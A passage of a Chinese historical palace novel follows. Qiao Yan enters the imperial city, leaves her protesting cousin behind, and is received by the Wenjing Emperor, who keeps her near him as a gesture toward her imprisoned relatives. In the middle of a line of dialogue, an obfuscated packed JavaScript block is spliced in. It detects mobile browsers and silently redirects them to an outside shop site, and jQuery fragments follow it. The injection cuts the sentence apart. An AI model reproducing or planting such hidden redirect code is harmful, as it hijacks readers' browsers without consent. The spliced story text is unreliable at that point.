白天下了一场雨，路上人迹渺茫，一辆马车悄悄地驶向皇城。


    乔府曾经也有着三世同朝的煊赫过去，有任皇帝赐了套废弃的王府，就在正阳门内西侧的大时雍坊，顶清贵的地段儿，与皇城挨得很近，顺着棋盘街，过大齐门，就到了承天门前。


    金水桥头，宜婵先跳下马车，掀开车帘。一名内侍装扮的人走过来，跪伏于地上。


    乔家清贵，从没用过人凳。乔燕探出半个身子，只迟疑了一瞬，就提着裙子踩上他的背，稳稳地落在地上。


    车旁候着两名太监，乔燕眼风从他们身上扫过，望向眼前的皇城。


    这座崭新的皇城是齐朝迁都北京后所建，城墙高三丈，在远处看时只觉巍峨，只有到宫墙下，方能让人觉知自己的渺小。


    这一天是文景四十年间，一个极其寻常的夏日。


    “姑娘登轿吧。”


    青衣太监说着，撑开一柄天青绘兰的油纸伞，举到乔燕头顶遮阳。


    乔燕点点头，才提上裙角，忽闻身后马蹄疾驰。


    侍卫纷纷去拦，骏马嘶鸣。


    “五娘！”


    乔燕心中一颤，将将回首，被乔翀死死拽住手腕。


    “跟四哥回家。”


    乔翀性情耿直，又与这个妹妹感情最好，是以乔家为免多生事端，此事一直瞒着他，直到乔燕出门之后一刻方从说漏嘴的下人嘴里知晓。乔翀骑马夺门而出的时候，乔三郎乔均就在旁边，不得已跟着冲出来，落后一步气喘吁吁地赶到。


    下了马，他恨不得给这个不着调的弟弟一巴掌。


    “乔翀！你除了会说些漂亮话你还能干什么！！”


    乔翀红了眼：“我至少不会把妹妹推入火坑！”


    “你！”乔均气得嘴唇直哆嗦，火气冲上心肝，指着他道，“好啊，那你带她回家！你敢吗！”


    “正有此意！”


    乔均要被这个堂弟气死了，碍于在宫门前，有些话不敢说。


    却是一旁的乔燕盯着眼前宽厚的手掌，释然一笑。她握住这只手，将其缓缓往回推。


    “四哥，你的心意我领了……”


    乔翀不意她竟不肯，一怔之后反手握住她：“跟哥哥回去！”


    “我不能回，四哥想来没有把事情听完，此事早已过了圣上的眼，我若回家，就是欺君。圣上仁善，宫里岂是火坑，我们都知道四哥是挂念妹妹，一时冲动口不择言，但如果被不知情的人听去，何止是大不敬的罪，你以后说话要注意分寸……我入宫享福去了，四哥，你若是挂念我，不妨好好读书，成为我身后的依靠。”


    她最后用力一推，那只大手愣愣地悬在半空，久久回不过神。


    乔燕乘小轿，入承天门，过端门，走过六科直房，又午门。


    一道道城墙，一道道宫门，像一把把锁，把人困在四四方方的天地里。


    轿子忽而向西，穿过归极门，看前行的方向，并非东西六宫，而是西华门。


    “唐公公，我能问一下，这是要去哪儿么？”轿子里乔燕问道。


    帘子外传来唐公公尖细和善的声音：“乔娘子，咱们要去西苑，圣上在那儿等您呢。”


    西苑在宫城的西侧。昔年一场大火将大半个宫城烧毁，先帝在西苑驻跸三载，那儿也因此修的富丽堂皇，仙气飘飘，不似人间。


    及至当今圣上登极，一心修道，在西苑的北海子建了一座问天观，养了许多道士，干脆就住在了西苑里。除了大朝会，几乎不去宫城了。


    说着话，也不知经过了哪儿，轿身颠簸了一下。


    车帘晃动，透出些许外面的光景，乔燕看到一片白玉石铺成的空墀，玉墀之上是宽阔的台基，再上有一座恢弘的殿宇。


    她抓住车帘，想看得仔细些。唐直抒在轿子外瞧见，体谅她初次来此，好心介绍：“那儿是戏文里常说的金銮殿，皇极殿，廷议之所。您看那玉墀，上面每隔数步立着一块石碑，离得远看不清，石碑上刻着品级。”


    若逢大朝会，所有的京官就会持笏立于石碑旁，如有圣令，则有随堂太监从玉陛而下，传令于殿前。


    乔燕的思绪随着他的话慢慢飘远。


    她很想见一见那一幕。


    有些念头起就心念一动的事，不会受人的意志而转移。尽管知道不合适，可这一瞬乔燕还是想起了——


    若是参加大朝会的冯矩，不知会站在哪一排哪一列，戴二梁冠，绶三色带，一身正红朝服，持笏而立。寒冬酷暑，春去秋来，四季的风吹过衣角，一年一年。


    想到这里，乔燕的眼前忽又浮现出前一日夜里，正阳门外的市口，冯矩为祖父殓尸，步履迟缓，月光落了满身霜雪。


    每每想起这一幕，她的心里都会生出一阵阵的刺痛感，是悲哀，怜惜，还有她心里那丝丝缕缕，如春日含苞的少女情怀，初初绽开，便零落了。那是一种无法言说的感受，不浓烈也不灼人，只有后韵绵长的疼痛，始终萦绕在心怀。


    可一想到身后的乔家，这丝悲春伤秋又转化为了自愧，她觉得自己哪怕只是想一想冯矩，都是一种对乔家的不贞与背叛。


    乔燕叹了一口气，匆匆落下车帘。


    西苑最令人瞩目的便是太液池，水域面积广阔，有一座天然小岛，迁都后有任皇帝在其上建广寒宫，本以为已极尽穷奢之事，孰料谁都没有后来的悼帝会享受——


    悼帝继位后，将太液池的两个海子扩建成三个，填平水面、砌筑团城，新建大小殿宇十余所。


    这位先帝即位短短十数年，将国库挥霍一空，前人苦心经营的王朝就此开始走下坡路。气得当时的内阁首辅在他崩后，替他写了一篇罪己遗诏，骂了足足两页纸，众臣更是众口一心地为他定下“悼”这个谥号以泄心头之愤。也算是齐史上的一朵奇葩。


    此刻乔燕乘坐的步舆便走在这位悼帝修建的白玉石桥上，两侧是波光粼粼的水面。石桥尽头有一座绿树葱茏的岛，岛上朱甍碧瓦，峰峦隐映，远远看去便是比起宫城也不逊色。


    轿子停在一座单檐庑殿顶的宫殿跟前，乔燕钻出轿门，一抬头，看到中央挂着一块黄剪边的牌匾，上书气宇轩昂的“洗心”二字，垂脊上立着一排走兽，没等她数清，一名长眼圆脸的太监已小跑着到了跟前。


    “奴婢董治，请问可是乔家五娘？”


    入宫前乔父乔母和几位兄长给乔燕讲了许多宫里的事，这个名字乔燕有所耳闻，正是董玉莲最得宠的干儿子，董玉莲迁东厂提督后，他代监司礼监，宫里宫外勉强算个人物。


    乔燕还不是宫里的主子，不敢受董治的全礼，就侧过身，受了一半，又回了一礼。


    “是我。五娘见过小董公公。”


    “昨儿便得圣上吩咐，西苑要来一位贵人，是昔年先贵妃的侄女儿，想来也是天仙一般的人儿，奴婢岂敢怠慢，一早便在这候着……”


    说着说着，董治抬起头，一腔话忽然忘在喉头。


    乔燕含笑说着场面话：“这么晒的日头，有劳公公久等了。”


    董治不敢再看，低下头，解释自己方才的失态：“奴婢没见过像乔姑娘这般的仙姿，一时惊为天人，有所冒犯，还望姑娘海涵。”


    方才是客套，这一席却是实打实的真心话。这位乔姑娘姿容出众，满宫上下，不，怕是整个京城也无人可比拟。


    和她的那位早逝的贵妃姑姑极像，正是文景帝十五年前最钟爱的那一类。


    想到这里，董治在心里不由打了个鼓儿，回头得把这事儿跟干爹说道说道，乔家说不得能因祸得福，借此更上一层楼。


    “公公客气了。不知我何时能见到圣上？”


    董治忙道：“圣上就在里头，姑娘这边请。”


    这一路应对的再得体，乔燕也还是第一次直面天子，下意识看向唐直抒。


    唐直抒安抚道：“这位是司礼监的代掌印，姑娘跟他去就行了。面圣的礼仪都教给姑娘了，不必紧张，圣上最是仁善不过。”


    乔燕很难不紧张：“您，您不进去吗？”


    “今儿咱家不随侍，司里还有事，咱家耽误不了太久，就要回了。”


    乔燕张了张嘴，面上露出一丝无措，但是事情总要面对……她深呼吸一口气，跟着董治踏入殿门。


    洗心殿面阔九间，殿中立着四根金柱，正前方的须弥座上摆着一鼎足有两人高的大香炉，边上候着两个总角道童，时刻盯着香火。须弥座下左右各摆着四张长而阔的木案，案后无人，案上也空荡荡的。


    东西方向各有一小门，乔燕跟着董治入了东边小门，还没看清陈设，眼风已扫过一道杏黄的身影。


    她心跳陡然加快，跪地叩拜，头深深地低了下去。


    “臣女乔燕，问圣上安。”


    “起来吧。头抬起来，让朕瞧瞧。”


    头顶传来的声音中正平和，既不过分和蔼，也不外露威严，与想象中相差甚远。


    乔燕深吸一口气，抬起头，眼睛尽量看向下方，尽管如此，余光还是看到了皇帝，这个王朝最尊贵的人。


    当时年号文景，是称“文景帝”。


    文景帝身形瘦高，穿着一件黄色道袍，鬓发斑白，也许是长年累月的案牍劳形的缘故，看上去比实际年纪要老许多。


    文景帝此刻手中提着一只粗杆紫毫的毛笔，只瞥了她一眼，便又将注意力落在了笔下那副快成型的水墨画上。


    “多大了？”


    “回圣上，臣女今年二十有二。”


    文景帝问的和蔼，乔燕却不敢有丝毫懈怠，恨不能每一根头发丝都在规矩之处。


    文景帝有些讶异，看了她第二眼。


    “二十二了还未许人吗？”


    乔燕一顿，不敢欺君，小心地道：“曾经有人相看，不过还未过庚帖，后来臣女祖母去世，守孝三年，婚事就……作废了。”


    “唔，是冯忱的孙子吧。”


    文景帝随口一提似的话语，却吓得乔燕慌忙跪地：“臣女


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996280|193889||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    从前与他也不曾有过几个照面，对其并不了解，婚约不过是父母之命。”


    “怎么又跪了，起来吧，怕什么，”文景帝轻描淡写地转开话题，“朕记得先贵妃还在世的时候，有一回朕去她宫里，正好遇到乔老夫人带着你探亲，那会儿你才一丁点大，不仅瘦，而且怕生，见到朕也不行礼，就躲到先贵妃的身后。那会儿你多大？八岁还是九岁？”


    “那时候臣女已经十三岁了，臣女在姑苏长到十三岁才回京，小时候挑食，吃得少，所以看起来格外瘦小。”


    “挑食可不好。”


    乔燕斟酌语气：“圣上教训的是。”


    这番对答实在有些木讷，令人扫兴，文景帝眉梢微挑，提笔蘸墨，没有再出声。乔燕不敢兀自开口，只一直垂头站着，满脑子胡思乱想。


    也不知过了多久，听文景帝问：“朕画的怎么样？”


    乔燕骤然回神，这才发现董治不知何时离开了，屋子里只剩她和皇帝二人。


    文景帝注视着她，老态的眼中不见丝毫浑浊，沉沉如大山压下，乔燕更觉紧张，连呼吸都比往日急促几分。


    “臣，臣女不太懂书画，言语若有不当之处，还请您恕罪。”


    文景帝微微皱眉：“朕不喜吞吞吐吐之人，既然如此就不必说了。”


    话中索然兴味甚厚，乔燕心知自己怕是搞砸了，一时惴惴。


    她怕文景帝不喜，更怕文景帝让她回家。


    “朕修道以来，持戒净心，是看在先贵妃的面子上才见你一面，不想你的性子和先贵妃很不相同。”


    天色晦暗，文景帝语调平静，听不出喜怒，话中的失望之意却很明显。


    乔燕天塌地陷，面如死灰。


    许是因为不再抱有期待，反而恢复了半成冷静，勉强找回往日在外应酬的对答水准：“世上难有相似之人，臣女若假借姑姑行止以期您的垂怜，那不仅是对逝者的不敬，更是对您不诚。”


    她站在那，头微微低垂，头发全部上挽，露出一段修长白皙的脖颈，像从江南烟雨里抽出的柳条，纤细柔韧。


    这样的美人，似乎天生便该被捧在掌心，藏在屋里，既狎且敬。


    文景帝神情淡淡地俯视，审视着，许久后才在她越来越战栗的神色里开口：“乔家书香传世，识字罢？”


    “识得一些。”


    “罢了。”


    “不止一些，”乔燕听音识意，一转口风，鼓着勇气自我吹嘘，“臣女回府后一直跟在族兄弟后边随府上先生读书，后来母亲也有为我单独延师，虽没有到悉览世载之文的地步，读的书也不算少。”


    在文景帝这样的人眼里，她的勇气也有种稚嫩——这样的女儿，乔家怎么就觉得送进宫能讨人欢心的？


    文景帝忽觉好笑，也确实笑了起来，多说了两句：“朕年纪大了，耳目渐昏，有时候看奏疏久了，就会眼花，便叫奴婢们念着听。但这些东西诘屈聱牙，他们读得磕磕绊绊，时常错字漏字，听着令人心烦。你来的正巧，就留在朕身边，给朕磨磨墨、念念文书——能做好吗？”


    不想竟有此峰回路转，乔燕大喜过望，脱口而出：“能！”


    “既跟着朕，朕便不会亏待你，回头封你个贵人，在宫里是个正经主子，架子得端起来，不可堕了天家脸面。”


    “谢圣上恩。”


    文景帝懒得再跟她说话，摆了摆手：“下去吧。”


    乔燕行了跪礼，犹豫片刻，一咬牙，问道：“臣女的大伯和二哥如今尚在诏狱，不知……”


    文景帝深看她一眼，反问：“朕留你的原因，你明白吗？”


    乔燕并不笨，入宫前，父兄曾彻夜给她分析过朝中局势。


    父兄在朝多年，未必不知文景帝早已“持戒静心”，不近女色，还是送她入宫，是乔家递出的臣服的讯号。文景帝留她，就是有意施恩。


    近年内阁官员变动尤为频繁，短短半载便换了三任首辅，与之相对的，是内廷日渐猖狂的态势。


    当初设立东厂和司礼监，是为了制衡内阁。东厂与司礼监同属内廷，又互相掣肘。三方角力，朝堂太平。可如今董党将两个衙门全都攥在手里，俨然有一手遮天之能，皇帝难免不会忌惮。


    乔家起复的势头，或许远不止于此。


    这一刻，她更是福至心灵地意识到，文景帝此刻要的并不是她的回答，文景帝要的，是乔家的回答。


    “妾明白，妾相信家中长辈与兄长亦明白。”


    文景帝露出见面后的第一抹满意的神色——这个乔氏虽然木讷，但内有智慧。


    “乔家两位能臣是朕的股肱之臣，这其中想必有误会，朕会着董大伴查清楚。只不过你要明白，你们乔家与冯家素来走得近，冯家之案，你们家有包庇之疑，在脏银查出之前，乔阁臣要避嫌。”


    “是。”


    “至于你二哥，朕记得他是文景三十五年的庶吉士，一直在翰林历练，牵涉不大，就继续做之前的事吧。”